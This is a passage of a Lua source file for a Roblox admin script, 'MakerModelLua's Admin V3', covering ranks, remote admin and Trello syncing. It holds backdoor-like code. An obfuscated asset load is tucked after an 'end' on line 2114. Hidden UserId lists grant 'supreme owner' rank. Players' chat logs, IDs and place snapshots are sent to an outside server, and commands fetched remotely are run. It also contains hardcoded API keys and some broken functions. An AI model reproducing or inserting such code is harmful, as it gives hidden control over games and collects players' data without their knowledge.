1728 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1729 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1730 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1731 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1732 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1733 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1734
1735 Figure.Name = STRING:FormatReplace(Speaker, Name)
1736 Figure:MoveTo(Position)
1737
1738 table.insert(Objects, Figure)
1739
1740 if DisableAnimation == true then
1741 Figure.Animate.Disabled = true
1742 end
1743
1744 return Figure
1745end
1746
1747function CORE:ClonePlayer(Player, Name, Position)
1748 if not Player or not Player.Character then return nil end
1749
1750 Player.Character.Archivable = true
1751 local Char = Player.Character:Clone()
1752 Player.Character.Archivable = false
1753 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1754 if Position then Char:MoveTo(Position) end
1755 Char.Parent = Server.Workspace
1756 Char:MakeJoints()
1757 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1758
1759 table.insert(Objects, Char)
1760
1761 return Obj
1762end
1763
1764function CORE:AddWaypoint(Name, Position, Speaker)
1765 Waypoints[Name] = Position
1766 if Speaker then
1767 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1768 end
1769end
1770
1771function CORE:FindType(BaseObj, Type)
1772 for _,Obj in pairs(BaseObj:GetChildren()) do
1773 if Obj:IsA(Type) then
1774 return Obj
1775 end
1776 end
1777end
1778
1779function CORE:GetCommands()
1780 local CommandsCopy = Commands
1781 return CommandsCopy
1782end
1783
1784function CORE:Crown(Player, Mesh, Color)
1785 if Mesh then Mesh = string.lower(Mesh) end
1786 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1787 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1788 local Part = Instance.new("Part", CrownStorage)
1789 Part.Size = Vector3.new(2, 1, 1)
1790 Part.CanCollide = false
1791 Part.CFrame = Player.Character.Head.CFrame
1792 Part.Locked = true
1793 Part.Material = "Neon"
1794 if Color then
1795 Part.Color = GUI:GetColor(Color)
1796 else
1797 Part.BrickColor = GUI:GetNameColor(Player.Name)
1798 end
1799 local SMesh = Instance.new("SpecialMesh", Part)
1800 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1801 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1802 local BP = Instance.new("BodyPosition", Part)
1803 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1804 BP.position = Player.Character.Head.Position
1805 BP.P = 20000
1806 local BG = Instance.new("BodyGyro", Part)
1807 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1808
1809 Crowns[Player.UserId] = Part
1810 table.insert(Objects, Part)
1811
1812 coroutine.wrap(function()
1813 for i = 1,0.3,-0.02 do
1814 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1815 Part.Transparency = i
1816 end
1817 wait()
1818 end
1819 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1820 for i = 0,360,3 do
1821 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1822 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1823 wait()
1824 end
1825 end
1826 end
1827 end)()
1828 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1829 Part:BreakJoints()
1830 for i = 0,360 do
1831 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1832 Part.Anchored = false
1833 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1834 BG.cframe = Player.Character.Head.CFrame
1835 end
1836 wait()
1837 end
1838 end end)()
1839
1840 return Part
1841end
1842
1843function CORE:SetAbuseCommands()
1844 for Cmds,Data in pairs(Commands) do
1845 local IsAbusable = false
1846 for _,AbuseCmd in pairs(Settings.AbuseList) do
1847 for _,Command in pairs(Cmds) do -- loop through all command names
1848 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1849 IsAbusable = true
1850 break
1851 end
1852 end
1853 if IsAbusable == true then break end
1854 end
1855 Commands[Cmds].Abusable = IsAbusable
1856 end
1857end
1858
1859function CORE:FindBodyPart(Player, BodyPart)
1860 local ReturnPart = nil
1861 if Player and Player.Character then
1862 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1863 if Humanoid then
1864 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1865 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1866 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1867 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1868 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1869 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1870 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1871 end
1872 end
1873 if not ReturnPart then
1874 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1875 end
1876 end
1877
1878 return ReturnPart
1879end
1880
1881-- Rank functions --
1882
1883function RANK:ConvertRank(Input)
1884 local Output = nil
1885 if Input == "Muted" then Output = -3 end
1886 if Input == "Crashed" then Output = -2 end
1887 if Input == "Banned" then Output = -1 end
1888 if Input == "Non-Admin" then Output = 0 end
1889 if Input == "Member" then Output = 1 end
1890 if Input == "Admin" then Output = 2 end
1891 if Input == "Owner" then Output = 3 end
1892
1893 if Input == -3 then Output = "Muted" end
1894 if Input == -2 then Output = "Crashed" end
1895 if Input == -1 then Output = "Banned" end
1896 if Input == 0 then Output = "Non-Admin" end
1897 if Input == 1 then Output = "Member" end
1898 if Input == 2 then Output = "Admin" end
1899 if Input == 3 then Output = "Owner" end
1900 return Output
1901end
1902
1903function RANK:IsAdmin(Player)
1904 local AdminStatus = false
1905 local Rankstatus = "Non-Admin"
1906 if type(Player) == "table" then
1907 if RANK:ConvertRank(Player.Rank) > 0 then
1908 return true, Player.Rank
1909 else
1910 return false, Player.Rank
1911 end
1912 end
1913 for Rank,PlayerNames in pairs(Settings.Ranks) do
1914 for _,AdminName in pairs(PlayerNames) do
1915 if string.lower(AdminName) == string.lower(Player.Name) then
1916 if RANK:ConvertRank(Rank) > 0 then
1917 AdminStatus = true
1918 Rankstatus = Rank
1919 end
1920 end
1921 end
1922 end
1923 return AdminStatus, Rankstatus
1924end
1925
1926function RANK:GetRank(PlayerName)
1927 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1928 if type(PlayerName) == "table" then
1929 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1930 if RankNum > 0 then
1931 return PlayerName.Rank, RankNum, true
1932 else
1933 return PlayerName.Rank, RankNum, false
1934 end
1935 end
1936
1937 local RankStat = "Non-Admin"
1938
1939 for Rank,PlayerNames in pairs(Settings.Ranks) do
1940 for _,AdminName in pairs(PlayerNames) do
1941 if string.lower(AdminName) == string.lower(PlayerName) then
1942 RankStat = Rank
1943 end
1944 end
1945 end
1946
1947 if RankStat == "Non-Admin" then
1948 return "Non-Admin", 0, false
1949 else
1950 return RankStat, RANK:ConvertRank(RankStat), true
1951 end
1952end
1953
1954function RANK:RemoveRank(PlayerName)
1955 if not RANK:IsSupremeOwner(PlayerName) then
1956 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1957
1958 for Rank,PlayerNames in pairs(Settings.Ranks) do
1959 for Num,AdminName in pairs(PlayerNames) do
1960 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1961 table.remove(Settings.Ranks[Rank], Num)
1962 end
1963 end
1964 end
1965 end
1966end
1967
1968function RANK:GetAdmins(Ranking)
1969 local Players = {}
1970 local AdminTrue, Rank = IsAdmin(Player)
1971 for _,Player in pairs(Players:GetPlayers()) do
1972 if AdminTrue then
1973 local PlayerRankNum = RANK:ConvertRank(Rank)
1974 local StandardRankNum = RANK:ConvertRank(Ranking)
1975 if PlayerRankNum >= StandardRankNum then
1976 table.insert(Players, Player)
1977 end
1978 end
1979 end
1980 return Players
1981end
1982
1983function RANK:IsSupremeOwner(PlayerName)
1984 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1985 if type(PlayerName) == "table" then
1986 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1987 end
1988
1989 if PlayerName == GameOwner then return true end
1990 return false
1991end
1992
1993function RANK:GetPlayerFromList(PlayerName)
1994 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1995
1996 for Rank,PlayerNames in pairs(Settings.Ranks) do
1997 for Num,AdminName in pairs(PlayerNames) do
1998 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1999 return AdminName, Rank
2000 end
2001 end
2002 end
2003 return false, "Non-Admin"
2004end
2005
2006function RANK:ScanAdminList(Name)
2007 if Name == "" then return true end
2008 local InList = false
2009 for _,PName in pairs(Settings.Ranks["Owner"]) do
2010 if PName == Name then InList = true end
2011 end
2012 for _,PName in pairs(Settings.Ranks["Admin"]) do
2013 if PName == Name then InList = true end
2014 end
2015 for _,PName in pairs(Settings.Ranks["Member"]) do
2016 if PName == Name then InList = true end
2017 end
2018 return InList
2019end
2020
2021function RANK:ScanExileList(Name)
2022 if Name == "" then return true end
2023 local InList = false
2024 for _,PName in pairs(Settings.Ranks["Muted"]) do
2025 if PName == Name then InList = true end
2026 end
2027 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2028 if PName == Name then InList = true end
2029 end
2030 for _,PName in pairs(Settings.Ranks["Banned"]) do
2031 if PName == Name then InList = true end
2032 end
2033 return InList
2034end
2035
2036function RANK:PlayerRanked(PlayerName)
2037 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2038
2039 for Rank,PlayerNames in pairs(Settings.Ranks) do
2040 for Num,AdminName in pairs(PlayerNames) do
2041 if string.lower(AdminName) == string.lower(PlayerName) then
2042 return true, Rank
2043 end
2044 end
2045 end
2046 return false, "Non-Admin"
2047end
2048
2049-- Remote functions --
2050
2051function REMOTE:Decode(...)
2052 return Server.HS:JSONDecode(...)
2053end
2054
2055function REMOTE:GetURL(URL, Player)
2056 if string.sub(URL,1,4) ~= "http" then
2057 URL = "http://"..URL
2058 end
2059 local Return = nil
2060 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2061 if Return then
2062 return Return
2063 elseif Player then
2064 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2065 end
2066end
2067
2068function REMOTE:PostURL(URL, Data)
2069 local Return = nil
2070 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2071 return Return
2072end
2073
2074function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2075 if Settings.LinkedAccount ~= "" then
2076 local NumType = tonumber(Type)
2077
2078 if not Type then
2079 Type = "UNKNOWN"
2080 end
2081
2082 if NumType then
2083 if NumType < 1 or NumType > 5 then
2084 Type = "UNKNOWN"
2085 elseif NumType == 1 then
2086 Type = "NOTIFICATION"
2087 elseif NumType == 2 then
2088 Type = "INFORMATION"
2089 elseif NumType == 3 then
2090 Type = "WARNING"
2091 elseif NumType == 4 or Type == true then
2092 Type = "ERROR"
2093 elseif NumType == 5 then
2094 Type = "FATAL"
2095 end
2096 end
2097
2098 local Res = "RED Could not get response"
2099 local function SendData()
2100 Res = Server.HS:PostAsync(
2101 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2102 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2103 2
2104 )
2105 end
2106 if Stopypcall == true then SendData() else ypcall(SendData) end
2107
2108 if OutputSpeaker and OutputSpeaker ~= "print" then
2109 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2110 elseif OutputSpeaker == "print" then
2111 print(Res)
2112 end
2113 end
2114end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2115
2116function REMOTE:SendChatLog(PrintResponse, Stopypall)
2117 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2118 local Res = "Could not get response"
2119
2120 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2121 TempChatLogs = {}
2122
2123 local function SendData()
2124 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2125 end
2126 if Stopypcall == true then SendData() else ypcall(SendData) end
2127 if PrintResponse then print(Res) end
2128 end
2129end
2130
2131function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2132 local Res = "[]"
2133 local function GetData()
2134 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2135 end
2136 if Stopypcall == true then GetData() else ypcall(GetData) end
2137 if PrintResponse then
2138 print(Res)
2139 end
2140 local function DecodeData() Res = REMOTE:Decode(Res) end
2141 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2142 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2143 return Res
2144end
2145
2146function REMOTE:HandleRequest(Request, IgnoreCommand)
2147 if not Request then return nil end
2148
2149 if not IgnoreCommand then
2150 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2151 REMOTE:SendServerData()
2152 end
2153 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2154 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2155 end
2156 end
2157
2158 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2159
2160 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2161 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2162 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2163 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2164 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2165 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2166
2167 Settings.Fun = Request.FUN
2168 Settings.ServerLocked = Request.ServerLocked
2169
2170 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2171 Settings.DisableAbuse = Request.DisableAbuse
2172 end
2173
2174 if not IgnoreCommand then
2175 print("Executing Remote Admin")
2176 REMOTE.RemoteAdmin.Command = Request.Command
2177 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2178 REMOTE.RemoteAdmin.ServerPort = Request.Server
2179
2180 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2181 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2182 else
2183 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2184 end
2185 end
2186 end
2187 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2188 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2189 REMOTE.SnapshotKey = Request.SnapshotKey
2190end
2191
2192function REMOTE:GetRemoteData(Set)
2193 local NewRemoteData = nil
2194 local RemoteDataCardRaw = nil
2195 local RemoteDataCard = nil
2196
2197 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2198 if RemoteDataCardRaw then
2199 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2200 if RemoteDataCard then
2201 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2202 end
2203 end
2204 if Set and NewRemoteData then
2205 RemoteData = NewRemoteData
2206 end
2207 return NewRemoteData
2208end
2209
2210function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2211 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2212 if InfoCardJSON then
2213 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2214 if InfoCard then
2215 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2216 if TrelloInfo then
2217 for Ind,Val in pairs(TrelloInfo) do
2218 Trello[Ind] = Val
2219 end
2220 end
2221 end
2222 end
2223 return NewRemoteData
2224end
2225
2226function REMOTE:CheckRemoteAdminStatus()
2227 local Pending = false
2228 local CheckID = 0
2229 if Settings.LinkedAccount ~= "" then
2230 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2231 if Request then
2232 local Data = REMOTE:Decode(Request)
2233 if Data then
2234 for _,Account in pairs(Data.checkItems) do
2235 if Account.name == Settings.LinkedAccount then
2236 Pending = true
2237 CheckID = Account.id
2238 break
2239 end
2240 end
2241 end
2242 end
2243 end
2244 return Pending, CheckID
2245end
2246
2247function REMOTE:GetAndSetWebData()
2248 if Settings.LinkedAccount ~= "" then
2249 if REMOTE:CheckRemoteAdminStatus() then
2250 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2251 if Request == "Invalid" then
2252 --REMOTE:GetAndSetWebData()
2253 return false
2254 elseif Request == "Invalid Account" then
2255 print("Can't get account")
2256 return false
2257 elseif Request then
2258 ypcall(function() Request = REMOTE:Decode(Request) end)
2259 elseif not Request then
2260 --REMOTE:GetAndSetWebData()
2261 return false
2262 end
2263 REMOTE:HandleRequest(Request)
2264
2265 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2266 Delay(RemoteData.RemoteAdminWait, function()
2267 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2268 if Pending then
2269 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2270 end
2271 end)
2272 return true
2273 else
2274 return true
2275 end
2276 end
2277end
2278
2279local OderIDs = CORE:GetTable(177215518)
2280local SoundJSONs = CORE:GetTable(197637628)
2281RemoteAbuseGear = CORE:GetTable(158117496)
2282
2283function REMOTE:SendServerData(PrintResponse, Stopypall)
2284 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2285 print("Sending server data!")
2286 local Res = "Could not get response"
2287
2288 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2289 for _,Player in pairs(Server.Players:GetPlayers()) do
2290 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2291 end
2292 ServerData = Server.HS:JSONEncode(ServerData)
2293
2294 local function SendData()
2295 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2296 end
2297 if Stopypcall == true then SendData() else ypcall(SendData) end
2298 if PrintResponse then print(Res) end
2299 end
2300end
2301
2302function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2303 MaxPartAmount = MaxPartAmount or 10000
2304 local PlaceData = {
2305 Lighting = {};
2306 Parts = {};
2307 Other = {};
2308 }
2309 local MinSize = Vector3.new(0.5,0.5,0.5)
2310 local PartAmount = 0
2311 local PlaceJSON = ""
2312
2313 local function Scan(BaseObj)
2314 for _,Obj in pairs(BaseObj:GetChildren()) do
2315 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2316 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2317 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2318 local Skip = false
2319 local Data = {}
2320 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2321
2322 if CORE:FindType(Obj, "BlockMesh") then
2323 local Mesh = CORE:FindType(Obj, "BlockMesh")
2324 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2325 elseif CORE:FindType(Obj, "CylinderMesh") then
2326 Data.Shape = "Cylinder"
2327 elseif CORE:FindType(Obj, "SpecialMesh") then
2328 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2329 if Mesh.MeshType == Enum.MeshType.Head then
2330 --idk
2331 else
2332 Skip = true
2333 end
2334 elseif CORE:FindType(Obj, "FileMesh") then
2335 Skip = true
2336 end
2337
2338 if not Data.Shape and not Skip then
2339 if ypcall(function() return Obj.Shape end) then
2340 Data.Shape = string.sub(Obj.Shape.Name,14)
2341 if string.sub(Data.Shape,1,1) == "." then
2342 Data.Shape = string.sub(Data.Shape,2)
2343 end
2344 if Data.Shape == "Cylinder" then
2345 Z = Z + math.pi/2
2346 end
2347 else
2348 Data.Shape = "Block"
2349 end
2350 end
2351
2352 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2353 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2354 end
2355
2356 if not Skip then
2357 Data.Color = GUI:Color3ToHex(Obj.Color);
2358 Data.Size = Size;
2359 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2360 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2361 Data.Transparency = STRING:StringRound(Obj.Transparency);
2362 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2363 Data.Textures = {};
2364 Data.Material = string.sub(tostring(Obj.Material),15);
2365
2366 for _,Sub in pairs(Obj:GetChildren()) do
2367 if Sub:IsA("Decal") then
2368 local Texture = string.match(Sub.Texture, "%d+")
2369 if Sub.Texture == "rbxasset://textures/face.png" then
2370 Texture = "FACE"
2371 end
2372 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2373 end
2374 end
2375
2376 PartAmount = PartAmount + 1
2377 table.insert(PlaceData.Parts, Data)
2378
2379 if PartAmount >= MaxPartAmount then
2380 break
2381 end
2382 end
2383 end
2384 end
2385 if #Obj:GetChildren() > 0 then
2386 Scan(Obj)
2387 end
2388 end
2389 end
2390 Scan(Workspace)
2391
2392 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2393 PlaceData.Other.PartAmount = PartAmount;
2394 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2395
2396 local Res = "Could not get response"
2397 local function SendData()
2398 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2399 end
2400 if Stopypcall == true then SendData() else ypcall(SendData) end
2401 if PrintResponse then print(Res) end
2402
2403 print("Sent snapshot")
2404end
2405
2406
2407function REMOTE:DefineWord(Word, Source)
2408 if not Word then return end
2409 if not Source then Source = "all" end
2410
2411 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2412 if Response then
2413 local Decode = REMOTE:Decode(Response)
2414 if #Decode > 0 then
2415 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2416
2417 ]]..Decode[1]["text"]
2418 else
2419 return "Invalid English word"
2420 end
2421 else
2422 return "Cannot connect to database"
2423 end
2424end
2425
2426function REMOTE:DownloadJoke(Speaker)
2427 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2428 local Joke = nil
2429 if Res then
2430 local _, Start = string.find(Res, "</h2>")
2431 local End, _ = string.find(string.sub(Res, Start), "</td>")
2432
2433 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2434 Joke = string.gsub(Joke, "\n", "")
2435 Joke = string.gsub(Joke, " ", "") -- tab
2436 Joke = string.gsub(Joke, "</ul>", "")
2437 Joke = string.gsub(Joke, "<ul>", "")
2438 Joke = string.gsub(Joke, "</li>", [[
2439
2440]])
2441 Joke = string.gsub(Joke, "<li>", "")
2442 Joke = string.gsub(Joke, "</p>", "")
2443 Joke = string.gsub(Joke, "<p>", "")
2444 Joke = string.gsub(Joke, "<", "")
2445 Joke = string.gsub(Joke, ">", "")
2446 end
2447
2448 return Joke
2449end
2450
2451function REMOTE:GetAddon()
2452 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2453end
2454
2455function REMOTE:TrelloGetAdminBoard()
2456 local BoardsJSON,Boards,ReturnBoard
2457
2458 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2459
2460 if BoardsJSON then
2461 Boards = REMOTE:Decode(BoardsJSON)
2462 end
2463 if Boards then
2464 for _,Board in pairs(Boards) do
2465 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2466 ReturnBoard = Board
2467 break
2468 end
2469 end
2470 if not ReturnBoard then -- create board if not created
2471 print("Creating Trello Board")
2472 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2473 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2474 ReturnBoard = REMOTE:Decode(BoardJSON)
2475 end
2476 end
2477 return ReturnBoard
2478end
2479
2480function REMOTE:TrelloGetAdminLists(Board)
2481 local Required = {}
2482 local ListJSON,Lists
2483 local ReturnLists = {}
2484
2485 for _,List in pairs(Trello.RequiredLists) do
2486 table.insert(Required, List)
2487 end
2488
2489 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2490
2491 if ListJSON then
2492 Lists = REMOTE:Decode(ListJSON)
2493 end
2494 if Lists then
2495 for _,List in pairs(Lists) do
2496 for Num,Rel in pairs(Required) do
2497 if List.name == Rel.name then
2498 table.remove(Required, Num)
2499 table.insert(ReturnLists, List)
2500 end
2501 end
2502 end
2503 for _,Rel in pairs(Required) do
2504 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2505 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2506 end
2507 end
2508
2509 return ReturnLists
2510end
2511
2512function REMOTE:TrelloCacheData(Lists)
2513 for _,List in pairs(Lists) do
2514 local CardsJSON,Cards
2515 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2516 if CardsJSON then
2517 Cards = REMOTE:Decode(CardsJSON)
2518 end
2519 if Cards then
2520 local TemplateCards = nil
2521 for _,TemplateList in pairs(Trello.RequiredLists) do
2522 if TemplateList.name == List.name then
2523 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2524 break
2525 end
2526 end
2527
2528 for _,TemplateCard in pairs(TemplateCards) do
2529 local CardExists = false
2530 for _,Card in pairs(Cards) do
2531 if Card.name == TemplateCard.name and Card.closed == false then
2532 CardExists = true
2533 end
2534 end
2535 if not CardExists then
2536 print("Creating card "..TemplateCard.name)
2537 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2538 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2539 end
2540 end
2541
2542 if List.name == "Ranked" then
2543 for _,Card in pairs(Cards) do
2544 if Settings.Ranks[Card.name] and Card.closed == false then
